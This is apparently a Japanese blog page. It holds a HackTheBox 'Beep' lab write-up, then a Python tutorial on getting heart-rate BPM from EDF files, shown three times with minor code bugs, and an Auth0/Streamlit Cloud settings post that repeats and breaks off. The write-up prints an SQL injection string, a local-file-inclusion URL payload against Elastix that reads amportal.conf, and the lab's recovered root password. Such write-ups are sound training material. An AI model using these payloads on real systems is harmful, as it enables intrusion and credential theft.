Capture The Frog

かえるぴょこぴょこw

MENU

HackTheBox "Beep" 反省&writeup

概要

  • Machine Name: Beep
  • Machine Status: Retired
  • Difficulty: Easy
  • OS: Linux
  • URL :

https://app.hackthebox.com/machines/Beep


Nmap スキャン結果

スキャンコマンド

sudo nmap -vvv -sCV -Pn -p0-65535 --reason <IP>

結果の概要

Nmapの結果から、ウェブサービスが稼働していることを確認した。


初期調査

ウェブサイトの探索

https://<IP> にアクセスすると、Elastixというサービスのログインページが表示された。

使用したツール

  • Nikto: サイトの脆弱性スキャンを試みた
    bash nikto -h https://<IP>
  • Gobuster: ディレクトリ探索を実施した
    bash gobuster dir --url https://<IP> --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

  • Elastixについて、HackTheBoxのGuideを確認して初めて調査を開始した。(反省点)

  • SQLインジェクション' OR 1=1;--)を試みたが、効かなかった。

Nmapの詳細な結果

NmapのHTTPヘッダーから、ターゲットが Apache/2.2.3 (CentOS) を使用していることがわかった。

  • CentOSが古いバージョンであると推測したが、詳細な脆弱性調査は未実施だった(反省点)。

脆弱性調査とエクスプロイト

Elastixの脆弱性調査

searchsploit を使用してElastixに関連する脆弱性を検索した。

searchsploit elastix

脆弱性

Elastixには以下のような脆弱性が存在していた: - Local File Inclusion(LFI): php/webapps/37637.txt

www.exploit-db.com

エクスプロイトの確認

エクスプロイトコードを確認し、内容を理解した。

searchsploit -x php/webapps/37637.txt

LFI攻撃の実行

LFI脆弱性を利用して、amportal.conf をブラウザから直接読み出した。


amportal.confの解析

amportal.conf は FreePBX の設定ファイル - FreePBX初期設定のユーザー名とパスワード - データベース情報 - Asterisk Manager Interface(AMI)の認証情報

解析結果

ユーザー名とパスワードはデフォルト設定のままだった。 - ユーザー名: root - パスワード: jEhdIekWmdjE


SSHアクセス

問題点

SSH接続時に以下のエラーが発生した:

Unable to negotiate with <IP> port 22: no matching key exchange method found. Their offer: ssh-rsa, ssh-dss

解決方法

鍵交換アルゴリズムとホスト鍵アルゴリズムを指定して接続した。

ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa,ssh-dss root@10.129.229.183

成果

amportal.confで得た認証情報を使用し、SSH接続に成功した。root権限を取得し、userrootの両フラグを入手した。


反省点と学び

  1. ウェブサイト調査の精度向上

    • Webサービスを確認した際、適切にElastixの特定と脆弱性調査を行うべきだった。
    • 証明書エラーへの対応方法(--insecure オプションなど)を調査しておく必要があると感じた。
  2. Nmap結果の整理と優先順位付け

    • スキャン後に得られる大量の情報に対して、次のアクションを明確にする必要があった。
      • OSやサービスの特定
      • サービスごとの脆弱性調査
  3. エクスプロイトコードの読み取り

    • Metasploitに頼らず、searchsploitなどで得たエクスプロイトコードを読み解くことができた点は良かった。
  4. 焦らないこと

    • 新しい情報を得た際、焦らず一つ一つ丁寧に調査を進めることを意識した。

改善ポイント

  • Webサービスの特定: サービス名やバージョンを迅速に把握し、脆弱性を特定する。
  • ツールの扱い方: niktogobusterが失敗する原因を理解し、適切な回避策を調べる。
  • 手順の整理: 情報収集から攻撃までの流れを明確にし、次に何をすべきか見失わない。
  • エクスプロイトコードの理解: 今後もコードを読み、実行内容を正確に把握する。

コマンドリスト

本マシン攻略で使用した主要なコマンド:

  1. Nmapスキャン bash sudo nmap -vvv -sCV -Pn -p0-65535 --reason <IP>

  2. Elastixの脆弱性調査 bash searchsploit elastix searchsploit -x php/webapps/37637.txt https://www.exploit-db.com/exploits/37637

  3. LFI攻撃 https://<IP>//vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action:title

  4. SSHアクセス bash ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa,ssh-dss root@10.129.229.183

edfファイルからbpm取得

polar H10で、心拍数(bpm)を取ろうかなと思ったら、.edfファイルだった

ミッション : .edfからbpmを取得せよ

pythonでやりたい。

edfファイルとは、心拍データなど生体信号に使用されるデータで、拡張子が.edfとなっている。

このデータをcsvファイルのように直接見ることは出来ないが、Pythonではいくつかのパッケージがある。

インポート

下のコードで使うもの

import pyedflib
import biosppy
import matplotlib.pyplot as plt
from statistics import mean
import pandas as pd
import japanize_matplotlib
from datetime import datetime,timedelta
from scipy.signal import resample
import matplotlib.dates as mdates

edfファイルを読み込む

使用するパッケージ : pyedflib
PyEDFlib -EDF/BDF Toolbox in Python — PyEDFlib Documentation

filename = 'edfファイルパス'
file = pyedflib.EdfReader(filename)

心拍のチャンネルを取得

edfファイルには、チャンネルと呼ばれるものがあり、異なるセンサーや電極から記録される個々の信号は各チャンネルごとに各センサーのデータがまとまっています。 edfファイルから特定の信号(今回はECG)を取得するためには、チャンネルを指定する必要がある。 ここでは、自作関数を使ってECG チャンネルを特定・抽出しています。

# ECGデータが含まれるチャンネルを特定
def find_ecg_channel(file):
    # EDFファイル内のすべてのチャンネルラベルを取得する
    channel_labels = file.getSignalLabels()
    # ECGデータが含まれるチャンネルを特定する
    for i, label in enumerate(channel_labels):
        if 'ECG' in label:
            return i
    # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す
    return None

ecg_channel = find_ecg_channel(file)

心拍と心拍数の経過時間を取得

edfのチャンネルを取得したので、チャンネルを指定してデータを読み込む。 そして、biosppyのbiosppy.signals.ecg.ecgを使って、心拍と心拍数の経過時間(秒)を取得する。

def detect_heart_rate(signal, sampling_rate):
    out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False)
    # HeartRateの基準時間とHeartRateのデータのインデックスを返す
    return out['heart_rate_ts'],out['heart_rate']



if ecg_channel is not None:
    # チャンネルから信号とサンプリングレートを取得
    signal = file.readSignal(ecg_channel)
    sampling_rate = file.getSampleFrequency(ecg_channel)
    print('sampling rate',sampling_rate)
    
    #信号の軸とHeartRateの取得
    ts,heart_rate = detect_heart_rate(signal, sampling_rate)
    print('ts',ts)
    print('heart rate',heart_rate)
    print('bpm',len(heart_rate))

リサンプリング

心拍と心拍数の経過時間を調べることはできたが、このままでは測定機器のサンプリングレートに従っているので、まだBPM(1分あたりの心拍数)とは言えない。 なので、1分間あたりにリサンプリングする。

    # オリジナルのデータの長さとサンプリングレートを取得
    original_length = len(ts)
    original_sampling_rate = original_length / ts[-1]
    #1分あたりでサンプリングレート・1分あたりでサンプリングしたかったら、1
    sampling_rate =1/60
    # 新しいデータの長さを計算
    new_length = int(original_length * (sampling_rate / original_sampling_rate))

    # ダウンサンプリング
    downsampled_ts = resample(ts, new_length)
    downsampled_heart_rate= resample(heart_rate, new_length)

秒から日付時間へ

*心拍データが長い人用
以上でedfファイルからbpmを取り出すことができたので、matplotlibでプロットしていく。 その前に、長い時間心拍のデータをとっていたら、x軸をわかりづらい'秒'ではなく、日付時間で表したい。 そのため、x軸を秒から日付時間に変換する。そして、dataframeにすることでプロットが楽になる

   #ダウンサンプリングされた値をdatetimeの形に直す
    #測定開始の日付時間(例:2023年6月5日22時7分40秒)
    base_datetime = datetime(2023, 6, 5, 22, 7, 40)
    datetimes = []
    for i,value in enumerate(downsampled_ts):
        datetimes.append(base_datetime + timedelta(seconds=i))
    datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes]

    #pandasの形に直す
    heart_rate_df = pd.DataFrame(downsampled_heart_rate_h10)
    heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes))

matplotlibでプロット

#グラフを表示する領域を,figオブジェクトとして作成。
fig = plt.figure(figsize = (10,6), facecolor='lightblue')
ax = fig.add_subplot()
ax.plot(heart_rate_df)

#axのx軸ラベルを指定
# 開始日時と終了日時をdatetimeオブジェクトとして表現
start_datetime = datetime(2023, 6, 5, 22, 7, 40)
end_datetime = datetime(2023, 6, 5, 22, 48, 1)
# 5分ごとの日時をリストに格納
time_range_5min = []
current_time = start_datetime
while current_time <= end_datetime:
    time_range_5min.append(current_time)
#minutesを変えることで、何分ごとにx軸を表示するかを決める
    current_time += timedelta(minutes=5)
# datetimeオブジェクトを数値に変換
time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min]
# x軸の目盛りを設定
ax.set_xticks(time_range_5min_num)
# x軸のフォーマッタを設定
ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S'))

#各subplotにxラベルを追加
ax.set_xlabel('time')
#各subplotにyラベルを追加
ax.set_ylabel('bpm(1m)')
ax.legend(loc = 'upper right') 
plt.show()

終結

うまくいくとこんな感じ

全体コード

import pyedflib
import biosppy
import matplotlib.pyplot as plt
from statistics import mean
import pandas as pd
import japanize_matplotlib
from datetime import datetime,timedelta
from scipy.signal import resample
import matplotlib.dates as mdates


filename = 'edfファイルパス'
file = pyedflib.EdfReader(filename)

# ECGデータが含まれるチャンネルを特定
def find_ecg_channel(file):
    # EDFファイル内のすべてのチャンネルラベルを取得する
    channel_labels = file.getSignalLabels()
    # ECGデータが含まれるチャンネルを特定する
    for i, label in enumerate(channel_labels):
        if 'ECG' in label:
            return i
    # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す
    return None

def detect_heart_rate(signal, sampling_rate):
    out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False)
    # HeartRateの基準時間とHeartRateのデータのインデックスを返す
    return out['heart_rate_ts'],out['heart_rate']



ecg_channel = find_ecg_channel(file)

if ecg_channel is not None:
    # チャンネルから信号とサンプリングレートを取得
    signal = file.readSignal(ecg_channel)
    sampling_rate = file.getSampleFrequency(ecg_channel)
    print('sampling rate',sampling_rate)
    
    #信号の軸とHeartRateの取得
    ts,heart_rate = detect_heart_rate(signal, sampling_rate)
    print('ts',ts)
    print('heart rate',heart_rate)
    print('bpm',len(heart_rate))

    # オリジナルのデータの長さとサンプリングレートを取得
    original_length = len(ts)
    original_sampling_rate = original_length / ts[-1]
    #1分あたりでサンプリングレート
    sampling_rate =1/60
    # 新しいデータの長さを計算
    new_length = int(original_length * (sampling_rate / original_sampling_rate))

    # ダウンサンプリング
    downsampled_ts = resample(ts, new_length)
    downsampled_heart_rate= resample(heart_rate, new_length)

  #ダウンサンプリングされた値をdatetimeの形に直す
    #測定開始の日付時間(例:2023年6月5日22時7分40秒)
    base_datetime = datetime(2023, 6, 5, 22, 7, 40)
    datetimes = []
    for i,value in enumerate(downsampled_ts):
        datetimes.append(base_datetime + timedelta(minutes=i))
    datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes]

    #pandasの形に直す
    heart_rate_df = pd.DataFrame(downsampled_heart_rate)
    heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes))

else:
    print('心拍データが含まれていません')
#グラフを表示する領域を,figオブジェクトとして作成。
fig = plt.figure(figsize = (10,6), facecolor='lightblue')
ax = fig.add_subplot()
ax.plot(heart_rate_df)

#axのx軸ラベルを指定
# 開始日時と終了日時をdatetimeオブジェクトとして表現
start_datetime = datetime(2023, 6, 5, 22, 7, 40)
end_datetime = datetime(2023, 6, 5, 22, 48, 1)
# 5分ごとの日時をリストに格納
time_range_5min = []
current_time = start_datetime
while current_time <= end_datetime:
    time_range_5min.append(current_time)
#minutesを変えることで、何分ごとにx軸を表示するかを決める
    current_time += timedelta(minutes=5)
# datetimeオブジェクトを数値に変換
time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min]
# x軸の目盛りを設定
ax.set_xticks(time_range_5min_num)
# x軸のフォーマッタを設定
ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S'))

#各subplotにxラベルを追加
ax.set_xlabel('time')
#各subplotにyラベルを追加
ax.set_ylabel('bpm(1m)')
plt.show()

edfファイルからbpm取得

polar H10で、心拍数(bpm)を取ろうかなと思ったら、.edfファイルだった

ミッション : .edfからbpmを取得せよ

pythonでやりたい。

edfファイルとは、心拍データなど生体信号に使用されるデータで、拡張子が.edfとなっている。

このデータをcsvファイルのように直接見ることは出来ないが、Pythonではいくつかのパッケージがある。

インポート

下のコードで使うもの

import pyedflib
import biosppy
import matplotlib.pyplot as plt
from statistics import mean
import pandas as pd
import japanize_matplotlib
from datetime import datetime,timedelta
from scipy.signal import resample
import matplotlib.dates as mdates

edfファイルを読み込む

使用するパッケージ : pyedflib
PyEDFlib -EDF/BDF Toolbox in Python — PyEDFlib Documentation

filename = 'ファイルパス'
file = pyedflib.EdfReader(filename)

心拍のチャンネルを取得

edfファイルには、チャンネルと呼ばれるものがあり、異なるセンサーや電極から記録される個々の信号は各チャンネルごとに各センサーのデータがまとまっています。 edfファイルから特定の信号(今回はECG)を取得するためには、チャンネルを指定する必要がある。 ここでは、自作関数を使ってECG チャンネルを特定・抽出しています。

# ECGデータが含まれるチャンネルを特定
def find_ecg_channel(file):
    # EDFファイル内のすべてのチャンネルラベルを取得する
    channel_labels = file.getSignalLabels()
    # ECGデータが含まれるチャンネルを特定する
    for i, label in enumerate(channel_labels):
        if 'ECG' in label:
            return i
    # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す
    return None

ecg_channel = find_ecg_channel(file)

心拍と心拍数の経過時間を取得

edfのチャンネルを取得したので、チャンネルを指定してデータを読み込む。 そして、biosppyのbiosppy.signals.ecg.ecgを使って、心拍と心拍数の経過時間(秒)を取得する。

def detect_heart_rate(signal, sampling_rate):
    out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False)
    # HeartRateの基準時間とHeartRateのデータのインデックスを返す
    return out['heart_rate_ts'],out['heart_rate']



if ecg_channel is not None:
    # チャンネルから信号とサンプリングレートを取得
    signal = file.readSignal(ecg_channel)
    sampling_rate = file.getSampleFrequency(ecg_channel)
    print('sampling rate',sampling_rate)
    
    #信号の軸とHeartRateの取得
    ts,heart_rate = detect_heart_rate(signal, sampling_rate)
    print('ts',ts)
    print('heart rate',heart_rate)
    print('bpm',len(heart_rate))

リサンプリング

心拍と心拍数の経過時間を調べることはできたが、このままでは測定機器のサンプリングレートに従っているので、まだBPM(1分あたりの心拍数)とは言えない。 なので、1分間あたりにリサンプリングする。

    # オリジナルのデータの長さとサンプリングレートを取得
    original_length = len(ts)
    original_sampling_rate = original_length / ts[-1]
    #1分あたりでサンプリングレート・1分あたりでサンプリングしたかったら、1
    sampling_rate =1/60
    # 新しいデータの長さを計算
    new_length = int(original_length * (sampling_rate / original_sampling_rate))

    # ダウンサンプリング
    downsampled_ts = resample(ts, new_length)
    downsampled_heart_rate= resample(heart_rate, new_length)

秒から日付時間へ

*心拍データが長い人用
以上でedfファイルからbpmを取り出すことができたので、matplotlibでプロットしていく。 その前に、長い時間心拍のデータをとっていたら、x軸をわかりづらい'秒'ではなく、日付時間で表したい。 そのため、x軸を秒から日付時間に変換する。そして、dataframeにすることでプロットが楽になる

   #ダウンサンプリングされた値をdatetimeの形に直す
    #測定開始の日付時間(例:2023年6月5日22時7分40秒)
    base_datetime = datetime(2023, 6, 5, 22, 7, 40)
    datetimes = []
    for i,value in enumerate(downsampled_ts):
        datetimes.append(base_datetime + timedelta(seconds=i))
    datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes]

    #pandasの形に直す
    heart_rate_df = pd.DataFrame(downsampled_heart_rate_h10)
    heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes))

matplotlibでプロット

#グラフを表示する領域を,figオブジェクトとして作成。
fig = plt.figure(figsize = (10,6), facecolor='lightblue')
ax = fig.add_subplot()
ax.plot(heart_rate_df)

#axのx軸ラベルを指定
# 開始日時と終了日時をdatetimeオブジェクトとして表現
start_datetime = datetime(2023, 6, 5, 22, 7, 40)
end_datetime = datetime(2023, 6, 5, 22, 48, 1)
# 5分ごとの日時をリストに格納
time_range_5min = []
current_time = start_datetime
while current_time <= end_datetime:
    time_range_5min.append(current_time)
#minutesを変えることで、何分ごとにx軸を表示するかを決める
    current_time += timedelta(minutes=5)
# datetimeオブジェクトを数値に変換
time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min]
# x軸の目盛りを設定
ax.set_xticks(time_range_5min_num)
# x軸のフォーマッタを設定
ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S'))

#各subplotにxラベルを追加
ax.set_xlabel('time')
#各subplotにyラベルを追加
ax.set_ylabel('bpm(1m)')
ax.legend(loc = 'upper right') 
plt.show()

全体コード

import pyedflib
import biosppy
import matplotlib.pyplot as plt
from statistics import mean
import pandas as pd
import japanize_matplotlib
from datetime import datetime,timedelta
from scipy.signal import resample
import matplotlib.dates as mdates


filename = ''
file = pyedflib.EdfReader(filename)

# ECGデータが含まれるチャンネルを特定
def find_ecg_channel(file):
    # EDFファイル内のすべてのチャンネルラベルを取得する
    channel_labels = file.getSignalLabels()
    # ECGデータが含まれるチャンネルを特定する
    for i, label in enumerate(channel_labels):
        if 'ECG' in label:
            return i
    # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す
    return None

def detect_heart_rate(signal, sampling_rate):
    out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False)
    # HeartRateの基準時間とHeartRateのデータのインデックスを返す
    return out['heart_rate_ts'],out['heart_rate']



ecg_channel = find_ecg_channel(file)

if ecg_channel is not None:
    # チャンネルから信号とサンプリングレートを取得
    signal = file.readSignal(ecg_channel)
    sampling_rate = file.getSampleFrequency(ecg_channel)
    print('sampling rate',sampling_rate)
    
    #信号の軸とHeartRateの取得
    ts,heart_rate = detect_heart_rate(signal, sampling_rate)
    print('ts',ts)
    print('heart rate',heart_rate)
    print('bpm',len(heart_rate))

    # オリジナルのデータの長さとサンプリングレートを取得
    original_length = len(ts)
    original_sampling_rate = original_length / ts[-1]
    #1分あたりでサンプリングレート
    sampling_rate =1/60
    # 新しいデータの長さを計算
    new_length = int(original_length * (sampling_rate / original_sampling_rate))

    # ダウンサンプリング
    downsampled_ts = resample(ts, new_length)
    downsampled_heart_rate= resample(heart_rate, new_length)

  #ダウンサンプリングされた値をdatetimeの形に直す
    #測定開始の日付時間(例:2023年6月5日22時7分40秒)
    base_datetime = datetime(2023, 6, 5, 22, 7, 40)
    datetimes = []
    for i,value in enumerate(downsampled_ts):
        datetimes.append(base_datetime + timedelta(minutes=i))
    datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes]

    #pandasの形に直す
    heart_rate_df = pd.DataFrame(downsampled_heart_rate)
    heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes))

else:
    print('心拍データが含まれていません')
#グラフを表示する領域を,figオブジェクトとして作成。
fig = plt.figure(figsize = (10,6), facecolor='lightblue')
ax = fig.add_subplot()
ax.plot(heart_rate_df)

#axのx軸ラベルを指定
# 開始日時と終了日時をdatetimeオブジェクトとして表現
start_datetime = datetime(2023, 6, 5, 22, 7, 40)
end_datetime = datetime(2023, 6, 5, 22, 48, 1)
# 5分ごとの日時をリストに格納
time_range_5min = []
current_time = start_datetime
while current_time <= end_datetime:
    time_range_5min.append(current_time)
#minutesを変えることで、何分ごとにx軸を表示するかを決める
    current_time += timedelta(minutes=5)
# datetimeオブジェクトを数値に変換
time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min]
# x軸の目盛りを設定
ax.set_xticks(time_range_5min_num)
# x軸のフォーマッタを設定
ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S'))

#各subplotにxラベルを追加
ax.set_xlabel('time')
#各subplotにyラベルを追加
ax.set_ylabel('bpm(1m)')
plt.show()

edfファイルからbpm取得

polar H10で、心拍数(bpm)を取ろうかなと思ったら、.edfファイルだった

ミッション : .edfからbpmを取得せよ

pythonでやりたい。

edfファイルとは、心拍データなど生体信号に使用されるデータで、拡張子が.edfとなっている。

このデータをcsvファイルのように直接見ることは出来ないが、Pythonではいくつかのパッケージがある。

インポート

下のコードで使うもの

import pyedflib
import biosppy
import matplotlib.pyplot as plt
from statistics import mean
import pandas as pd
import japanize_matplotlib
from datetime import datetime,timedelta
from scipy.signal import resample
import matplotlib.dates as mdates

edfファイルを読み込む

使用するパッケージ : pyedflib PyEDFlib -EDF/BDF Toolbox in Python — PyEDFlib Documentation

filename = 'ファイルパス'
file = pyedflib.EdfReader(filename)

心拍のチャンネルを取得

edfファイルには、チャンネルと呼ばれるものがあり、異なるセンサーや電極から記録される個々の信号は各チャンネルごとに各センサーのデータがまとまっています。 edfファイルから特定の信号(今回はECG)を取得するためには、チャンネルを指定する必要がある。 ここでは、自作関数を使ってECG チャンネルを特定・抽出しています。

# ECGデータが含まれるチャンネルを特定
def find_ecg_channel(file):
    # EDFファイル内のすべてのチャンネルラベルを取得する
    channel_labels = file.getSignalLabels()
    # ECGデータが含まれるチャンネルを特定する
    for i, label in enumerate(channel_labels):
        if 'ECG' in label:
            return i
    # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す
    return None

ecg_channel = find_ecg_channel(file)

心拍と心拍数の経過時間を取得

edfのチャンネルを取得したので、チャンネルを指定してデータを読み込む。 そして、biosppyのbiosppy.signals.ecg.ecgを使って、心拍と心拍数の経過時間(秒)を取得する。

def detect_heart_rate(signal, sampling_rate):
    out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False)
    # HeartRateの基準時間とHeartRateのデータのインデックスを返す
    return out['heart_rate_ts'],out['heart_rate']



if ecg_channel is not None:
    # チャンネルから信号とサンプリングレートを取得
    signal = file.readSignal(ecg_channel)
    sampling_rate = file.getSampleFrequency(ecg_channel)
    print('sampling rate',sampling_rate)
    
    #信号の軸とHeartRateの取得
    ts,heart_rate = detect_heart_rate(signal, sampling_rate)
    print('ts',ts)
    print('heart rate',heart_rate)
    print('bpm',len(heart_rate))

リサンプリング

心拍と心拍数の経過時間を調べることはできたが、このままでは測定機器のサンプリングレートに従っているので、まだBPM(1分あたりの心拍数)とは言えない。 なので、1分間あたりにリサンプリングする。

    # オリジナルのデータの長さとサンプリングレートを取得
    original_length = len(ts)
    original_sampling_rate = original_length / ts[-1]
    #1分あたりでサンプリングレート・1分あたりでサンプリングしたかったら、1
    sampling_rate =1/60
    # 新しいデータの長さを計算
    new_length = int(original_length * (sampling_rate / original_sampling_rate))

    # ダウンサンプリング
    downsampled_ts = resample(ts, new_length)
    downsampled_heart_rate= resample(heart_rate, new_length)

秒から日付時間へ

*心拍データが長い人用 以上でedfファイルからbpmを取り出すことができたので、matplotlibでプロットしていく。 その前に、長い時間心拍のデータをとっていたら、x軸をわかりづらい'秒'ではなく、日付時間で表したい。 そのため、x軸を秒から日付時間に変換する。そして、dataframeにすることでプロットが楽になる

   #ダウンサンプリングされた値をdatetimeの形に直す
    #測定開始の日付時間(例:2023年6月5日22時7分40秒)
    base_datetime = datetime(2023, 6, 5, 22, 7, 40)
    datetimes = []
    for i,value in enumerate(downsampled_ts):
        datetimes.append(base_datetime + timedelta(seconds=i))
    datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes]

    #pandasの形に直す
    heart_rate_df = pd.DataFrame(downsampled_heart_rate_h10)
    heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes))

matplotlibでプロット

#グラフを表示する領域を,figオブジェクトとして作成。
fig = plt.figure(figsize = (10,6), facecolor='lightblue')
ax = fig.add_subplot()
ax.plot(heart_rate_df)

#axのx軸ラベルを指定
# 開始日時と終了日時をdatetimeオブジェクトとして表現
start_datetime = datetime(2023, 6, 5, 22, 7, 40)
end_datetime = datetime(2023, 6, 5, 22, 48, 1)
# 5分ごとの日時をリストに格納
time_range_5min = []
current_time = start_datetime
while current_time <= end_datetime:
    time_range_5min.append(current_time)
#minutesを変えることで、何分ごとにx軸を表示するかを決める
    current_time += timedelta(minutes=5)
# datetimeオブジェクトを数値に変換
time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min]
# x軸の目盛りを設定
ax.set_xticks(time_range_5min_num)
# x軸のフォーマッタを設定
ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S'))

#各subplotにxラベルを追加
ax.set_xlabel('time')
#各subplotにyラベルを追加
ax.set_ylabel('bpm(1m)')
ax.legend(loc = 'upper right') 
plt.show()

全体コード

import pyedflib
import biosppy
import matplotlib.pyplot as plt
from statistics import mean
import pandas as pd
import japanize_matplotlib
from datetime import datetime,timedelta
from scipy.signal import resample
import matplotlib.dates as mdates


filename = ''
file = pyedflib.EdfReader(filename)

# ECGデータが含まれるチャンネルを特定
def find_ecg_channel(file):
    # EDFファイル内のすべてのチャンネルラベルを取得する
    channel_labels = file.getSignalLabels()
    # ECGデータが含まれるチャンネルを特定する
    for i, label in enumerate(channel_labels):
        if 'ECG' in label:
            return i
    # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す
    return None

def detect_heart_rate(signal, sampling_rate):
    out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False)
    # HeartRateの基準時間とHeartRateのデータのインデックスを返す
    return out['heart_rate_ts'],out['heart_rate']



ecg_channel = find_ecg_channel(file)

if ecg_channel is not None:
    # チャンネルから信号とサンプリングレートを取得
    signal = file.readSignal(ecg_channel)
    sampling_rate = file.getSampleFrequency(ecg_channel)
    print('sampling rate',sampling_rate)
    
    #信号の軸とHeartRateの取得
    ts,heart_rate = detect_heart_rate(signal, sampling_rate)
    print('ts',ts)
    print('heart rate',heart_rate)
    print('bpm',len(heart_rate))

    # オリジナルのデータの長さとサンプリングレートを取得
    original_length = len(ts)
    original_sampling_rate = original_length / ts[-1]
    #1分あたりでサンプリングレート
    sampling_rate =1/60
    # 新しいデータの長さを計算
    new_length = int(original_length * (sampling_rate / original_sampling_rate))

    # ダウンサンプリング
    downsampled_ts = resample(ts, new_length)
    downsampled_heart_rate= resample(heart_rate, new_length)

  #ダウンサンプリングされた値をdatetimeの形に直す
    #測定開始の日付時間(例:2023年6月5日22時7分40秒)
    base_datetime = datetime(2023, 6, 5, 22, 7, 40)
    datetimes = []
    for i,value in enumerate(downsampled_ts):
        datetimes.append(base_datetime + timedelta(minutes=i))
    datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes]

    #pandasの形に直す
    heart_rate_df = pd.DataFrame(downsampled_heart_rate)
    heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes))

else:
    print('心拍データが含まれていません')
#グラフを表示する領域を,figオブジェクトとして作成。
fig = plt.figure(figsize = (10,6), facecolor='lightblue')
ax = fig.add_subplot()
ax.plot(heart_rate_df)

#axのx軸ラベルを指定
# 開始日時と終了日時をdatetimeオブジェクトとして表現
start_datetime = datetime(2023, 6, 5, 22, 7, 40)
end_datetime = datetime(2023, 6, 5, 22, 48, 1)
# 5分ごとの日時をリストに格納
time_range_5min = []
current_time = start_datetime
while current_time <= end_datetime:
    time_range_5min.append(current_time)
#minutesを変えることで、何分ごとにx軸を表示するかを決める
    current_time += timedelta(minutes=5)
# datetimeオブジェクトを数値に変換
time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min]
# x軸の目盛りを設定
ax.set_xticks(time_range_5min_num)
# x軸のフォーマッタを設定
ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S'))

#各subplotにxラベルを追加
ax.set_xlabel('time')
#各subplotにyラベルを追加
ax.set_ylabel('bpm(1m)')
plt.show()

streamlit cloud上でAuth0を使用したログインを行う際のAuth0の設定

streamlit上でAuth0を使用したログインを行ったときに、ローカルでのログインは出来るが、streamlit cloudでデプロイしたときには動かないことがあります。
ローカル時と同じ設定方法ではAuth0は動きません。

しかし、多くの場合、解説記事ではローカルでの設定しか書かれておらず、デプロイする際の設定は書かれていません。
多くの人がここで戸惑っています。

https://discuss.streamlit.io/t/new-component-auth0-component-a-simple-way-to-authenticate-a-user/18260/11


そこで、ここではstreamlitを使用して開発した自分のアプリをstreamlit cloudでデプロイしたときのAuth0の設定について書いていきます。


streamlit上でAuth0でログインする基本のコンポーネントとして、streamlit-auth0を使用させて頂きます。
Auth0以外の基本的な設定は、レポジトリ内のReadme.mdに沿って行ってください。
github.com

Thanks, conradbez!!!

紹介記事
discuss.streamlit.io






方法

1,callback URL

https://YOUR_APP_ON_STREAMLIT_CLOUD_DOMAIN/~/+/component/auth0_component.login_button/index.html, http://YOUR_AUTH0_DOMAIN/component/auth0_component.login_button/index.html

2,Allowed Web origin

https://YOUR_APP_ON_STREAMLIT_CLOUD_DOMAIN/~/+/component/auth0_component.login_button/index.html




↓存在しないアカウントとstreamlit cloud上のアプリ
Auth0 settings page
My App url on streamlit cloud

https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/


Auth0の設定
1,call back URL

https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/~/+/component/auth0_component.login_button/index.html, http://dev-o3y3v7wthueiyyyt.us.auth0.com/component/auth0_component.login_button/index.html


2,Allowed Web origin

https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/~/+/component/auth0_component.login_button/index.html

streamlit cloud上でAuth0を使用したログインを行う際のAuth0の設定

streamlit上でAuth0を使用したログインを行ったときに、ローカルでのログインは出来るが、streamlit cloudでデプロイしたときには動かないことがあります。
ローカル時と同じ設定方法ではAuth0は動きません。

しかし、多くの場合、解説記事ではローカルでの設定しか書かれておらず、デプロイする際の設定は書かれていません。
多くの人がここで戸惑っています。

https://discuss.streamlit.io/t/new-component-auth0-component-a-simple-way-to-authenticate-a-user/18260/11


そこで、ここではstreamlitを使用して開発した自分のアプリをstreamlit cloudでデプロイしたときのAuth0の設定について書いていきます。


streamlit上でAuth0でログインする基本のコンポーネントとして、streamlit-auth0を使用させて頂きます。
Auth0以外の基本的な設定は、レポジトリ内のReadme.mdに沿って行ってください。
github.com

Thanks, conradbez!!!

紹介記事
discuss.streamlit.io






方法

1,callback URL

